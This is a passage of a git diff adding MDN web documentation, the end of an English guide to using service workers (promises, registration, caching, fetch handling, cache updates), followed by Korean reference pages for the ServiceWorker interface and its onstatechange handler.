+<p>In the first example, we have to wait for <code>myFunction()</code> to run and return <code>value</code> before any more of the code can execute. In the second example, <code>myFunction()</code> returns a promise for <code>value</code>, then the rest of the code can carry on running. When the promise resolves, the code inside <code>then</code> will be run, asynchronously.<br>
+ <br>
+ Now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them? This is a standard thing to want to do, but it can be a bit of a pain. We can use <code>.onload</code> to only display the image after it’s loaded, but what about events that start happening before we start listening to them? We could try to work around this using <code>.complete</code>, but it’s still not foolproof, and what about multiple images? And, ummm, it’s still synchronous, so blocks the main thread.<br>
+ <br>
+ Instead, we could build our own promise to handle this kind of case. (See our <a href="https://github.com/mdn/promises-test">Promises test</a> example for the source code, or <a href="https://mdn.github.io/promises-test/">look at it running live</a>.)</p>
+
+<p>{{note("A real service worker implementation would use caching and onfetch rather than the deprecated XMLHttpRequest API. Those features are not used here so that you can focus on understanding Promises.")}}</p>
+
+<pre class="brush: js">function imgLoad(url) {
+ return new Promise(function(resolve, reject) {
+ var request = new XMLHttpRequest();
+ request.open('GET', url);
+ request.responseType = 'blob';
+
+ request.onload = function() {
+ if (request.status == 200) {
+ resolve(request.response);
+ } else {
+ reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+ }
+ };
+
+ request.onerror = function() {
+ reject(Error('There was a network error.'));
+ };
+
+ request.send();
+ });
+}</pre>
+
+<p>We return a new promise using the <code>Promise()</code> constructor, which takes as an argument a callback function with <code>resolve</code> and <code>reject</code> parameters. Somewhere in the function, we need to define what happens for the promise to resolve successfully or be rejected — in this case return a 200 OK status or not — and then call <code>resolve</code> on success, or <code>reject</code> on failure. The rest of the contents of this function is fairly standard XHR stuff, so we won’t worry about that for now.</p>
+
+<p>When we come to call the <code>imgLoad()</code> function, we call it with the url to the image we want to load, as we might expect, but the rest of the code is a little different:</p>
+
+<pre class="brush: js">var body = document.querySelector('body');
+var myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then(function(response) {
+ var imageURL = window.URL.createObjectURL(response);
+ myImage.src = imageURL;
+ body.appendChild(myImage);
+}, function(Error) {
+ console.log(Error);
+});</pre>
+
+<p>On to the end of the function call, we chain the promise <code>then()</code> method, which contains two functions — the first one is executed when the promise successfully resolves, and the second is called when the promise is rejected. In the resolved case, we display the image inside <code>myImage</code> and append it to the body (it’s argument is the <code>request.response</code> contained inside the promise’s <code>resolve</code> method); in the rejected case we return an error to the console.</p>
+
+<p>This all happens asynchronously.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can also chain promise calls together, for example:<br>
+ <code>myPromise().then(success, failure).then(success).catch(failure);</code></p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: You can find a lot more out about promises by reading Jake Archibald’s excellent <a href="http://www.html5rocks.com/en/tutorials/es6/promises/">JavaScript Promises: there and back again</a>.</p>
+</div>
+
+<h2 id="Service_workers_demo">Service workers demo</h2>
+
+<p>To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called <a href="https://github.com/mdn/sw-test">sw-test</a>, which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We’ve kept things static and simple for now. It also registers, installs, and activates a service worker, and when more of the spec is supported by browsers it will cache all the files required so it will work offline!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br>
+ <br>
+ <br>
+ You can see the <a href="https://github.com/mdn/sw-test/">source code on GitHub</a>, and <a href="https://mdn.github.io/sw-test/">view the example live</a>. The one bit we’ll call out here is the promise (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47">app.js lines 22-47</a>), which is a modified version of what you read about above, in the <a href="https://github.com/mdn/promises-test">Promises test demo</a>. It is different in the following ways:</p>
+
+<ol>
+ <li>In the original, we only passed in a URL to an image we wanted to load. In this version, we pass in a JSON fragment containing all the data for a single image (see what they look like in <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). This is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. If you just passed in the url, and then tried to access the other items in the JSON separately when the <code>for()</code> loop is being iterated through later on, it wouldn’t work, as the promise wouldn’t resolve at the same time as the iterations are being done (that is a synchronous process.)</li>
+ <li>We actually resolve the promise with an array, as we want to make the loaded image blob available to the resolving function later on in the code, but also the image name, credits and alt text (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34">app.js lines 31-34</a>). Promises will only resolve with a single argument, so if you want to resolve with multiple values, you need to use an array/object.</li>
+ <li>To access the resolved promise values, we then access this function as you’d then expect (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64">app.js lines 60-64</a>). This may seem a bit odd at first, but this is the way promises work.</li>
+</ol>
+
+<h2 id="Enter_service_workers">Enter service workers</h2>
+
+<p>Now let’s get on to service workers!</p>
+
+<h3 id="Registering_your_worker">Registering your worker</h3>
+
+<p>The first block of code in our app’s JavaScript file — <code>app.js</code> — is as follows. This is our entry point into using service workers.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+ navigator.serviceWorker.register('/sw-test/sw.js', {scope: '/sw-test/'})
+  .then(function(reg) {
+ // registration worked
+ console.log('Registration succeeded. Scope is ' + reg.scope);
+ }).catch(function(error) {
+ // registration failed
+ console.log('Registration failed with ' + error);
+ });
+}</pre>
+
+<ol>
+ <li>The outer block performs a feature detection test to make sure service workers are supported before trying to register one.</li>
+ <li>Next, we use the {{domxref("ServiceWorkerContainer.register()") }} function to register the service worker for this site, which is just a JavaScript file residing inside our app (note this is the file's URL relative to the origin, not the JS file that references it.)</li>
+ <li>The <code>scope</code> parameter is optional, and can be used to specify the subset of your content that you want the service worker to control. In this case, we have specified '<code>/sw-test/'</code>, which means all content under the app's origin. If you leave it out, it will default to this value anyway, but we specified it here for illustration purposes.</li>
+ <li>The <code>.then()</code> promise function is used to chain a success case onto our promise structure.  When the promise resolves successfully, the code inside it executes.</li>
+ <li>Finally, we chain a <code>.catch()</code> function onto the end that will run if the promise is rejected.</li>
+</ol>
+
+<p>This registers a service worker, which runs in a worker context, and therefore has no DOM access. You then run code in the service worker outside of your normal pages to control their loading.<br>
+ <br>
+ A single service worker can control many pages. Each time a page within your scope is loaded, the service worker is installed against that page and operates on it. Bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn’t get its own unique worker.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with items from its own cache, and more.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: One great thing about service workers is that if you use feature detection like we’ve shown above, browsers that don’t support service workers can just use your app online in the normal expected fashion. Furthermore, if you use AppCache and SW on a page, browsers that don’t support SW but do support AppCache will use that, and browsers that support both will ignore the AppCache and let SW take over.</p>
+</div>
+
+<h4 id="Why_is_my_service_worker_failing_to_register">Why is my service worker failing to register?</h4>
+
+<p>This could be for the following reasons:</p>
+
+<ol>
+ <li>You are not running your application through HTTPS.</li>
+ <li>The path to your service worker file is not written correctly — it needs to be written relative to the origin, not your app’s root directory. In our example, the worker is at <code>https://mdn.github.io/sw-test/sw.js</code>, and the app’s root is <code>https://mdn.github.io/sw-test/</code>. But the path needs to be written as <code>/sw-test/sw.js</code>, not <code>/sw.js</code>.</li>
+ <li>The service worker being pointed to is on a different origin to that of your app. This is also not allowed.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12630/important-notes.png" style="display: block; height: 277px; margin: 0px auto; width: 574px;"></p>
+
+<p>Also note:</p>
+
+<ul>
+ <li>The service worker will only catch requests from clients under the service worker's scope.</li>
+ <li>The max scope for a service worker is the location of the worker.</li>
+ <li>If your server worker is active on a client being served with the <code>Service-Worker-Allowed</code> header, you can specify a list of max scopes for that worker.</li>
+ <li>In Firefox, Service Worker APIs are hidden and cannot be used when the user is in <a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">private browsing mode</a>.</li>
+</ul>
+
+<h3 id="Install_and_activate_populating_your_cache">Install and activate: populating your cache</h3>
+
+<p>After your service worker is registered, the browser will attempt to install then activate the service worker for your page/site.<br>
+ <br>
+ The install event is fired when an install is successfully completed. The install event is generally used to populate your browser’s offline caching capabilities with the assets you need to run your app offline. To do this, we use Service Worker’s brand new storage API — {{domxref("cache")}} — a global on the service worker that allows us to store assets delivered by responses, and keyed by their requests. This API works in a similar way to the browser’s standard cache, but it is specific to your domain. It persists until you tell it not to — again, you have full control.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The Cache API is not supported in every browser. (See the {{anch("Browser support")}} section for more information.) If you want to use this now, you could consider using a polyfill like the one available in <a href="https://github.com/Polymer/topeka/blob/master/sw.js">Google's Topeka demo</a>, or perhaps store your assets in <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+</div>
+
+<p>Let’s start this section by looking at a code sample — this is the <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L18">first block you’ll find in our service worker</a>:</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});</pre>
+
+<ol>
+ <li>Here we add an <code>install</code> event listener to the service worker (hence <code>this</code>), and then chain a {{domxref("ExtendableEvent.waitUntil()") }} method onto the event — this ensures that the service worker will not install until the code inside <code>waitUntil()</code> has successfully occurred.</li>
+ <li>Inside <code>waitUntil()</code> we use the <a href="/en-US/docs/Web/API/CacheStorage/open"><code>caches.open()</code></a> method to create a new cache called <code>v1</code>, which will be version 1 of our site resources cache. This returns a promise for a created cache; once resolved, we then call a function that calls <code>addAll()</code> on the created cache, which for its parameter takes an array of origin-relative URLs to all the resources you want to cache.</li>
+ <li>If the promise is rejected, the install fails, and the worker won’t do anything. This is ok, as you can fix your code and then try again the next time registration occurs.</li>
+ <li>After a successful installation, the service worker activates. This doesn’t have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the {{anch("Updating your service worker") }} section later on.)</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> can be used inside a service worker for data storage if you require it.</p>
+</div>
+
+<h3 id="Custom_responses_to_requests">Custom responses to requests</h3>
+
+<p>Now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. This is easily done with the <code>fetch</code> event.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12634/sw-fetch.png" style="display: block; margin: 0 auto;"></p>
+
+<p>A <code>fetch</code> event fires every time any resource controlled by a service worker is fetched, which includes the documents inside the specified scope, and any resources referenced in those documents (for example if <code>index.html</code> makes a cross origin request to embed an image, that still goes through its service worker.)</p>
+
+<p>You can attach a <code>fetch</code> event listener to the service worker, then call the <code>respondWith()</code> method on the event to hijack our HTTP responses and update them with your own magic.</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+ event.respondWith(
+ // magic goes here
+ );
+});</pre>
+
+<p>We could start by simply responding with the resource whose url matches that of the network request, in each case:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+ event.respondWith(
+ caches.match(event.request)
+ );
+});</pre>
+
+<p><code>caches.match(event.request)</code> allows us to match each resource requested from the network with the equivalent resource available in the cache, if there is a matching one available. The matching is done via url and vary headers, just like with normal HTTP requests.</p>
+
+<p>Let’s look at a few other options we have when defining our magic (see our <a href="/en-US/docs/Web/API/Fetch_API">Fetch API documentation</a> for more information about {{domxref("Request")}} and {{domxref("Response")}} objects.)</p>
+
+<ol>
+ <li>
+ <p>The <code>{{domxref("Response.Response","Response()")}}</code> constructor allows you to create a custom response. In this case, we are just returning a simple text string:</p>
+
+ <pre class="brush: js">new Response('Hello from your friendly neighbourhood service worker!');</pre>
+ </li>
+ <li>
+ <p>This more complex <code>Response</code> below shows that you can optionally pass a set of headers in with your response, emulating standard HTTP response headers. Here we are just telling the browser what the content type of our synthetic response is:</p>
+
+ <pre class="brush: js">new Response('&lt;p&gt;Hello from your friendly neighbourhood service worker!&lt;/p&gt;', {
+ headers: { 'Content-Type': 'text/html' }
+});</pre>
+ </li>
+ <li>
+ <p>If a match wasn’t found in the cache, you could tell the browser to simply {{domxref("GlobalFetch.fetch","fetch")}} the default network request for that resource, to get the new resource from the network if it is available:</p>
+
+ <pre class="brush: js">fetch(event.request);</pre>
+ </li>
+ <li>
+ <p>If a match wasn’t found in the cache, and the network isn’t available, you could just match the request with some kind of default fallback page as a response using {{domxref("CacheStorage.match","match()")}}, like this:</p>
+
+ <pre class="brush: js">caches.match('/fallback.html');</pre>
+ </li>
+ <li>
+ <p>You can retrieve a lot of information about each request by calling parameters of the {{domxref("Request")}} object returned by the {{domxref("FetchEvent")}}:</p>
+
+ <pre class="brush: js">event.request.url
+event.request.method
+event.request.headers
+event.request.body</pre>
+ </li>
+</ol>
+
+<h2 id="Recovering_failed_requests">Recovering failed requests</h2>
+
+<p>So <code>caches.match(event.request)</code> is great when there is a match in the service worker cache, but what about cases when there isn’t a match? If we didn’t provide any kind of failure handling, our promise would resolve with <code>undefined</code> and we wouldn't get anything returned.</p>
+
+<p>Fortunately service workers’ promise-based structure makes it trivial to provide further options towards success. We could do this:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+ event.respondWith(
+ caches.match(event.request).then(function(response) {
+ return response || fetch(event.request);
+ })
+ );
+});</pre>
+
+<p>If the resources isn't in the cache, it is requested from the network.</p>
+
+<p>If we were being really clever, we would not only request the resource from the network; we would also save it into the cache so that later requests for that resource could be retrieved offline too! This would mean that if extra images were added to the Star Wars gallery, our app could automatically grab them and cache them. The following would do the trick:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+ event.respondWith(
+ caches.match(event.request).then(function(resp) {
+ return resp || fetch(event.request).then(function(response) {
+ return caches.open('v1').then(function(cache) {
+ cache.put(event.request, response.clone());
+ return response;
+ });
+ });
+ })
+ );
+});</pre>
+
+<p>Here we return the default network request with <code>return fetch(event.request)</code>, which returns a promise. When this promise is resolved, we respond by running a function that grabs our cache using <code>caches.open('v1')</code>; this also returns a promise. When that promise resolves, <code>cache.put()</code> is used to add the resource to the cache. The resource is grabbed from <code>event.request</code>, and the response is then cloned with <code>response.clone()</code> and added to the cache. The clone is put in the cache, and the original response is returned to the browser to be given to the page that called it.</p>
+
+<p>Cloning the response is necessary because request and response streams can only be read once.  In order to return the response to the browser and put it in the cache we have to clone it. So the original gets returned to the browser and the clone gets sent to the cache.  They are each read once.</p>
+
+<p>The only trouble we have now is that if the request doesn’t match anything in the cache, and the network is not available, our request will still fail. Let’s provide a default fallback so that whatever happens, the user will at least get something:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+ event.respondWith(
+ caches.match(event.request).then(function(resp) {
+ return resp || fetch(event.request).then(function(response) {
+ caches.open('v1').then(function(cache) {
+ cache.put(event.request, response.clone());
+ });
+ return response;
+ });
+ }).catch(function() {
+    return caches.match('/sw-test/gallery/myLittleVader.jpg');
+  })
+ );
+});</pre>
+
+<p>We have opted for this fallback image because the only updates that are likely to fail are new images, as everything else is depended on for installation in the <code>install</code> event listener we saw earlier.</p>
+
+<h2 id="Updating_your_service_worker"><a id="Updating your service worker" name="Updating your service worker">Updating your service worker</a></h2>
+
+<p>If your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates.</p>
+
+<p>You’ll want to update your <code>install</code> event listener in the new service worker to something like this (notice the new version number):</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+ event.waitUntil(
+ caches.open('v2').then(function(cache) {
+ return cache.addAll([
+ '/sw-test/',
+ '/sw-test/index.html',
+ '/sw-test/style.css',
+ '/sw-test/app.js',
+ '/sw-test/image-list.js',
+
+ …
+
+ // include other new resources for the new version...
+ ]);
+ })
+ );
+});</pre>
+
+<p>While this happens, the previous version is still responsible for fetches. The new version is installing in the background. We are calling the new cache <code>v2</code>, so the previous <code>v1</code> cache isn't disturbed.</p>
+
+<p>When no pages are using the current version, the new worker activates and becomes responsible for fetches.</p>
+
+<h3 id="Deleting_old_caches">Deleting old caches</h3>
+
+<p>You also get an <code>activate</code> event. This is a generally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches. This is also useful for removing data that is no longer needed to avoid filling up too much disk space — each browser has a hard limit on the amount of cache storage that a given service worker can use. The browser does its best to manage disk space, but it may delete the Cache storage for an origin.  The browser will generally delete all of the data for an origin or none of the data for an origin.</p>
+
+<p>Promises passed into <code>waitUntil()</code> will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time you get your first <code>fetch</code> event on the new cache.</p>
+
+<pre class="brush: js">this.addEventListener('activate', function(event) {
+ var cacheWhitelist = ['v2'];
+
+ event.waitUntil(
+ caches.keys().then(function(keyList) {
+ return Promise.all(keyList.map(function(key) {
+ if (cacheWhitelist.indexOf(key) === -1) {
+ return caches.delete(key);
+ }
+ }));
+ })
+ );
+});</pre>
+
+<h2 id="Developer_tools">Developer tools</h2>
+
+<p>Chrome has <code>chrome://inspect/#service-workers</code>, which shows current service worker activity and storage on a device, and <code>chrome://serviceworker-internals</code>, which shows more detail and allows you to start/stop/debug the worker process. In the future they will have throttling/offline modes to simulate bad or non-existent connections, which will be a really good thing.</p>
+
+<p>Firefox has also started to implement some useful tools related to service workers:</p>
+
+<ul>
+ <li>You can navigate to <code><a href="/en-US/docs/Tools/about:debugging">about:debugging</a></code> to see what SWs are registered and update/remove them.</li>
+ <li>When testing you can get around the HTTPS restriction by checking the "Enable Service Workers over HTTP (when toolbox is open)" option in the <a href="/en-US/docs/Tools/Settings">Firefox Developer Tools settings</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: You may serve your app from <code>http://localhost</code> (e.g. using <code>me@localhost:/my/app$ <strong>python -m SimpleHTTPServer</strong></code>) for local development. See <a href="https://www.w3.org/TR/service-workers/#security-considerations">Security considerations</a></p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(40.0)}}</td>
+ <td>{{ CompatGeckoDesktop("33.0") }}<sup>[1]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>24</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(40.0)}}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs/">The Service Worker Cookbook</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>Download the <a href="https://mdn.mozillademos.org/files/12638/sw101.png">Service Workers 101 cheatsheet</a>.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworker/index.html b/files/ko/web/api/serviceworker/index.html
new file mode 100644
index 0000000000..e7e5907ecf
--- /dev/null
+++ b/files/ko/web/api/serviceworker/index.html
@@ -0,0 +1,113 @@
+---
+title: ServiceWorker
+slug: Web/API/ServiceWorker
+tags:
+ - API
+ - Interface
+ - Offline
+ - Reference
+ - Service Workers
+ - ServiceWorker
+ - Workers
+ - 서비스 워커
+ - 워커
+translation_of: Web/API/ServiceWorker
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><a href="/ko/docs/Web/API/Service_Worker_API">Service Worker API</a>의 <strong><code>ServiceWorker</code></strong> 인터페이스는 서비스 워커로의 참조를 제공합니다. 다수의{{glossary("browsing context", "브라우징 맥락")}}(e.g. 페이지, 다른 워커, 등등)는 고유한<code> ServiceWorker</code> 객체를 통해 동일한 서비스 워커와 연결할 수 있습니다.</p>
+
+<p><code>ServiceWorker</code> 객체는 {{domxref("ServiceWorkerRegistration.active")}} 속성과 {{domxref("ServiceWorkerContainer.controller")}} 속성으로 접근할 수 있습니다. <code>controller</code>는 활성화되어 페이지를 통제 중인 서비스 워커입니다.</p>
+
+<p><code>ServiceWorker</code> 인터페이스에서는 일련의 생명주기 이벤트(<code>install</code>, <code>activate</code>)와 기능 이벤트(<code>fetch</code>)가 발생합니다. <code>ServiceWorker</code> 객체의 생명주기는 {{domxref("ServiceWorker.state")}} 속성이 담고 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>ServiceWorker</code> 인터페이스는 부모 {{domxref("Worker")}}에서 속성을 상속합니다.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}}</dt>
+ <dd>Returns the <code>ServiceWorker</code> serialized script URL defined as part of {{domxref("ServiceWorkerRegistration")}}. The URL must be on the same origin as the document that registers the <code>ServiceWorker</code>.</dd>
+ <dt>{{domxref("ServiceWorker.state")}} {{readonlyinline}}</dt>
+ <dd>Returns the state of the service worker. It returns one of the following values: <code>installing</code>, <code>installed,</code> <code>activating</code>, <code>activated</code>, or <code>redundant</code>.</dd>
+</dl>
+
+<h3 id="이벤트_처리기">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}}</dt>
+ <dd>An {{domxref("EventListener")}} property called whenever an event of type <code>statechange</code> is fired; it is basically fired anytime the {{domxref("ServiceWorker.state")}} changes.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>ServiceWorker</code> 인터페이스는 부모 {{domxref("Worker")}}에서 메서드를 상속합니다. 단, {{domxref("Worker.terminate()")}}는 예외이며 서비스 워커에서 접근할 수 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>This code snippet is from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">service worker registration-events sample</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">live demo</a>). The code listens for any change in the {{domxref("ServiceWorker.state")}} and returns its value.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+ navigator.serviceWorker.register('service-worker.js', {
+ scope: './'
+ }).then(function (registration) {
+ var serviceWorker;
+ if (registration.installing) {
+ serviceWorker = registration.installing;
+ document.querySelector('#kind').textContent = 'installing';
+ } else if (registration.waiting) {
+ serviceWorker = registration.waiting;
+ document.querySelector('#kind').textContent = 'waiting';
+ } else if (registration.active) {
+ serviceWorker = registration.active;
+ document.querySelector('#kind').textContent = 'active';
+ }
+ if (serviceWorker) {
+ // logState(serviceWorker.state);
+ serviceWorker.addEventListener('statechange', function (e) {
+ // logState(e.target.state);
+ });
+ }
+ }).catch (function (error) {
+ // Something went wrong during registration. The service-worker.js file
+ // might be unavailable or contain a syntax error.
+ });
+} else {
+ // The current browser doesn't support service workers.
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#serviceworker', 'ServiceWorker')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs">ServiceWorker Cookbook</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service worker basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworker/onstatechange/index.html b/files/ko/web/api/serviceworker/onstatechange/index.html
new file mode 100644
index 0000000000..d6063f0445
--- /dev/null
+++ b/files/ko/web/api/serviceworker/onstatechange/index.html
@@ -0,0 +1,72 @@
+---
+title: ServiceWorker.onstatechange
+slug: Web/API/ServiceWorker/onstatechange
+translation_of: Web/API/ServiceWorker/onstatechange
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p><code>statechange</code> 타입의 이벤트가 발생될 때마다 호출되는 {{domxref("EventListener")}} 속성. 기본적으로 {{domxref("ServiceWorker.state")}}가 변경되는 시점에 발생한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">ServiceWorker.onstatechange = function(statechangeevent) { ... }
+ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } )</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>이 코드 조각은 <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">service worker registration-events sample</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">live demo</a>) 으로부터 가져온 것이다. 이 코드는 {{domxref("ServiceWorker.state")}}의 모든 변경 사항을 수신하고 그 값을 반환한다.</p>
+
+<pre class="brush: js">var serviceWorker;
+if (registration.installing) {
+ serviceWorker = registration.installing;
+ document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+ serviceWorker = registration.waiting;
+ document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+ serviceWorker = registration.active;
+ document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+ logState(serviceWorker.state);
+ serviceWorker.addEventListener('statechange', function(e) {
+ logState(e.target.state);
+ });
+}</pre>
+
+<p><code>statechange</code> 가 발생할 때, 서비스워커의 참조들이 변화할 수 있으므로 주의하라. 예시:</p>
+
+<pre class="brush: js">navigator.serviceWorker.register(..).then(function(swr) {
+ swr.installing.state == "installing"
+ swr.installing.onstatechange = function() {
+ swr.installing == null;
+ // 이 시점에서, swr.waiting 또는 swr.active는 true일 것이다. 이것은 statechange 이벤트가 대기 상태이기 때문이며,
+ // 그동안 잠재 상태의 워커가 waiting 상태가 될 수도 있으며 가능한 경우에는 즉시 activated 될 것이다.
+ }
+})</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#service-worker-onstatechange-attribute', 'ServiceWorker.onstatechange')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker.onstatechange")}}</p>
+</div>
diff --git a/files/ko/web/api/serviceworkerglobalscope/clients/index.html b/files/ko/web/api/serviceworkerglobalscope/clients/index.html
new file mode 100644
index 0000000000..ccc6ab78a8
--- /dev/null
+++ b/files/ko/web/api/serviceworkerglobalscope/clients/index.html
@@ -0,0 +1,55 @@
+---
+title: ServiceWorkerGlobalScope.clients
+slug: Web/API/ServiceWorkerGlobalScope/clients
+translation_of: Web/API/ServiceWorkerGlobalScope/clients
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
